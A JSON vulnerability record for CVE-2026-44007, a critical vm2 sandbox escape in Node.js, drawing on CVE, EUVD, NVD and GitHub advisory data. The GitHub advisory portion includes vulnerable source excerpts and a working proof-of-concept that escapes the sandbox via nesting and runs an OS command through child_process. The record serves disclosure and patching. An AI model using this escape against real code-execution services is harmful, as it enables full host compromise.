{"id":"GHSA-8hg8-63c5-gwmx","revision":null,"records":[{"revision":"9da11be515c240e9b4bbf147f1c00412","observedAt":"2026-11-04T04:57:16.829+00:00","statement":{"source":"cve-program","id":"CVE-2026-44007","aliases":[],"title":"vm2: nesting: true bypasses require: false, allowing sandbox escape to arbitrary OS command execution","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.","state":0,"publishedAt":"2026-05-13T17:33:19.799+00:00","modifiedAt":"2026-11-04T03:32:47.977+00:00","affected":[{"ecosystem":"Vendor product","name":"vm2","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"patriksimek\",\n                    \"product\": \"vm2\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.11.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":9.1,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx","https://github.com/patriksimek/vm2/commit/46cbbdde4e19b743974c942278080231004146ca","https://access.redhat.com/errata/RHSA-2026:50850","https://access.redhat.com/security/cve/CVE-2026-44007","https://bugzilla.redhat.com/show_bug.cgi?id=2477198","https://github.com/patriksimek/vm2/releases/tag/v3.11.1","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44007.json","http://www.openwall.com/lists/oss-security/2026/05/05/11"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44007","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44007","identifiers":["CVE-2026-44007"]},"retained":false,"historicalAffected":[]},{"revision":"e6167eca27fa4755a7ad88a34683a7a6","observedAt":"2026-11-15T13:08:22.116+00:00","statement":{"source":"euvd","id":"EUVD-2026-30077","aliases":["CVE-2026-44007","GHSA-8hg8-63c5-gwmx"],"title":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With …","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":null}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx","https://github.com/patriksimek/vm2/commit/46cbbdde4e19b743974c942278080231004146ca","https://access.redhat.com/errata/RHSA-2026:50850","https://access.redhat.com/security/cve/CVE-2026-44007","https://bugzilla.redhat.com/show_bug.cgi?id=2477198","https://github.com/patriksimek/vm2/releases/tag/v3.11.1","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44007.json","http://www.openwall.com/lists/oss-security/2026/05/05/11"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-30077","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 13, 2026, 5:33:19 PM","dateUpdated":"Nov 4, 2026, 3:32:47 AM"},"relatedAdvisories":[{"id":"WID-SEC-W-2026-1349","title":"vm2: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2026-22709","CVE-2026-24118","CVE-2026-24120","CVE-2026-24781","CVE-2026-26332","CVE-2026-26956","CVE-2026-43997","CVE-2026-43999","CVE-2026-44000","CVE-2026-44001","CVE-2026-44002","CVE-2026-44003","CVE-2026-44005","CVE-2026-44006","CVE-2026-44007","CVE-2026-92963"]},{"id":"RHSA-2026:50850","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.1 security update","vulnerabilityIds":["CVE-2026-9277","CVE-2026-43997","CVE-2026-43998","CVE-2026-43999","CVE-2026-44000","CVE-2026-44001","CVE-2026-44002","CVE-2026-44003","CVE-2026-44004","CVE-2026-44005","CVE-2026-44006","CVE-2026-44007","CVE-2026-44008","CVE-2026-44009","CVE-2026-45411","CVE-2026-47131","CVE-2026-47135","CVE-2026-47137","CVE-2026-47139","CVE-2026-47140","CVE-2026-47141","CVE-2026-47209","CVE-2026-48068","CVE-2026-48801","CVE-2026-59877"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-30077","identifiers":["EUVD-2026-30077","CVE-2026-44007","GHSA-8hg8-63c5-gwmx"]},"retained":false,"historicalAffected":[]},{"revision":"32d7912d84c74f23889d897de2ef94c3","observedAt":"2026-11-04T13:22:41.808+00:00","statement":{"source":"nvd","id":"CVE-2026-44007","aliases":[],"title":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With …","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.","state":0,"publishedAt":"2026-05-13T18:16:17.527+00:00","modifiedAt":"2026-11-04T04:17:35.953+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":9.1,"severity":"CRITICAL"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":"CRITICAL"}],"references":["http://www.openwall.com/lists/oss-security/2026/05/05/11","https://access.redhat.com/errata/RHSA-2026:50850","https://access.redhat.com/security/cve/CVE-2026-44007","https://bugzilla.redhat.com/show_bug.cgi?id=2477198","https://github.com/patriksimek/vm2/commit/46cbbdde4e19b743974c942278080231004146ca","https://github.com/patriksimek/vm2/releases/tag/v3.11.1","https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44007.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44007","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-284","CWE-1100"],"productCriteria":["cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-05-13T18:16:17.527","lastModified":"2026-11-04T04:17:35.953"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44007","identifiers":["CVE-2026-44007"]},"retained":false,"historicalAffected":[]},{"revision":"8f8d2601fae5485fa08599ea0e4b7fcd","observedAt":"2026-11-04T03:57:35.731+00:00","statement":{"source":"osv","id":"GHSA-8hg8-63c5-gwmx","aliases":["CVE-2026-44007"],"title":"vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution","description":"### Summary\n\nWhen a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require('vm2')` regardless of the outer VM's `require` configuration — including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised.\n\n### Details\n\nThe vulnerability is in how the `nesting: true` option interacts with the legacy module resolver.\n\n**`lib/nodevm.js:96-99`** — `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox:\n\n```js\nconst NESTING_OVERRIDE = Object.freeze({\n  __proto__: null,\n  vm2: vm2NestingLoader\n});\n```\n\n**`lib/nodevm.js:268-269`** — When `nesting: true`, this override is passed into the resolver factory alongside the host's `require` options:\n\n```js\nconst customResolver = requireOpts instanceof Resolver;\nconst resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(\n  requireOpts,\n  nesting && NESTING_OVERRIDE,  // ← injected when nesting:true\n  this._compiler\n);\n```\n\n**`lib/resolver-compat.js:193-197`** — This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`:\n\n```js\nfunction makeResolverFromLegacyOptions(options, override, compiler) {\n  if (!options) {\n    if (!override) return DENY_RESOLVER;  // require:false, no nesting → deny all\n    // BUG: require:false + nesting:true reaches here\n    // override (NESTING_OVERRIDE) is applied, making vm2 available\n    const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);\n    return new Resolver(DEFAULT_FS, [], builtins);  // vm2 is now requireable\n  }\n  // ...\n}\n```\n\n**`lib/builtin.js:102-106`** — `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist:\n\n```js\nif (overrides) {\n  const keys = Object.getOwnPropertyNames(overrides);\n  for (const key of keys) {\n    res.set(key, overrides[key]);  // vm2 always injected when nesting:true\n  }\n}\n```\n\nThe result: `require('vm2')` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses — unconstrained by the outer VM — and reaches `child_process`.\n\nThis was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that \"scripts can create a NodeVM which can require any host module,\" but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction.\n\n### PoC\n\n**Requirements:** vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).\n\n```js\nconst { NodeVM } = require('vm2');\n\n// Host intends: nesting enabled, but require completely disabled\nconst vm = new NodeVM({ nesting: true, require: false });\n\nconst result = vm.run(`\n  // Step 1: require('vm2') succeeds despite require:false on the outer VM\n  const { NodeVM: NVM } = require('vm2');\n\n  // Step 2: create an inner NodeVM with attacker-chosen require config\n  // This inner VM has no relation to the outer VM's restrictions\n  const inner = new NVM({ require: { builtin: ['child_process'] } });\n\n  // Step 3: execute arbitrary OS command in the inner VM\n  module.exports = inner.run(\n    'module.exports = require(\"child_process\").execSync(\"id\").toString()'\n  );\n`);\n\nconsole.log(result);\n// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...\n```\n\n**Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):**\n```\nuid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)\n```\n\nThe variant with `require: false` also works — the outer VM's require setting has no effect:\n\n```js\nnew NodeVM({ nesting: true, require: false }).run(`\n  const { NodeVM: NVM } = require('vm2');\n  module.exports = new NVM({ require: { builtin: ['child_process'] } })\n    .run('module.exports = require(\"child_process\").execSync(\"id\").toString()');\n`);\n// uid=1000(akshat) ...\n```\n\nNarrow builtin allowlists are also bypassed. `require: { builtin: ['path'] }` still allows `require('vm2')` when nesting is enabled.\n\n### Impact\n\n**Who is affected:** Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.\n\n**What an attacker can do:** Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.\n\n**Severity:** The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not — `require: false` is silently overridden and the sandbox has unrestricted OS access.\n\n**Note:** `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass specifically.","state":0,"publishedAt":"2026-05-07T05:13:21+00:00","modifiedAt":"2026-11-04T03:45:10.1754929+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx","https://nvd.nist.gov/vuln/detail/CVE-2026-44007","https://github.com/patriksimek/vm2/commit/46cbbdde4e19b743974c942278080231004146ca","https://access.redhat.com/errata/RHSA-2026:50850","https://access.redhat.com/security/cve/CVE-2026-44007","https://bugzilla.redhat.com/show_bug.cgi?id=2477198","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.11.1","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44007.json","http://www.openwall.com/lists/oss-security/2026/05/05/11"],"sourceUrl":"https://github.com/advisories/GHSA-8hg8-63c5-gwmx","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-8hg8-63c5-gwmx","identifiers":["GHSA-8hg8-63c5-gwmx","CVE-2026-44007"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-16T01:31:01.9957507+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-16T01:31:01.9957507+00:00","lastSuccessAt":"2026-11-16T01:31:02.3463456+00:00","error":null,"lastVerifiedAt":"2026-11-16T01:31:02.3464971+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-a08c72fafec17e60adfc36e9acd6c6ec6cef6a5b72ffb8b77313640ec6c696fa","complete":true,"records":425869,"lastAttemptAt":"2026-11-16T02:31:09.5721763+00:00","lastSuccessAt":"2026-11-16T00:06:05.6008954+00:00","error":null,"lastVerifiedAt":"2026-11-16T00:06:05.6223396+00:00","snapshotPublishedAt":"2026-11-15T23:23:45+00:00","importing":true,"stagedRecords":128500,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-f194072360ca43d3bb7796d2607e9f33","complete":false,"records":13821,"lastAttemptAt":"2026-11-16T01:39:56.3390161+00:00","lastSuccessAt":"2026-11-16T01:39:55.322+00:00","error":"51 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-16T01:39:55.322+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13823,"expectedIdentifiers":13874,"failedIdentifiers":51},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-16T01:31:01.9957507+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-16T01:31:01.9957507+00:00","lastSuccessAt":"2026-11-16T01:31:04.1941757+00:00","error":null,"lastVerifiedAt":"2026-11-16T01:31:04.1941774+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-089bc1eb0cd44b1285000fce46058fed","complete":true,"records":13833,"lastAttemptAt":"2026-11-16T01:31:28.5928984+00:00","lastSuccessAt":"2026-11-16T01:31:28.587+00:00","error":null,"lastVerifiedAt":"2026-11-16T01:31:28.587+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-16T01:31:01.864133+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-16T01:31:01.864133+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-16T01:31:01.2477884+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-16T01:31:01.2477884+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-16T01:31:01.8942802+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-16T01:31:01.8942802+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-e77c8ea93875d599a3ee92fde74c7150d1a28eacc697b92dc129baff6877c60e","complete":true,"records":232477,"lastAttemptAt":"2026-11-16T01:31:01.714004+00:00","lastSuccessAt":"2026-11-16T01:07:48.2266333+00:00","error":null,"lastVerifiedAt":"2026-11-16T01:31:01.714004+00:00","snapshotPublishedAt":"2026-11-16T01:03:09+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}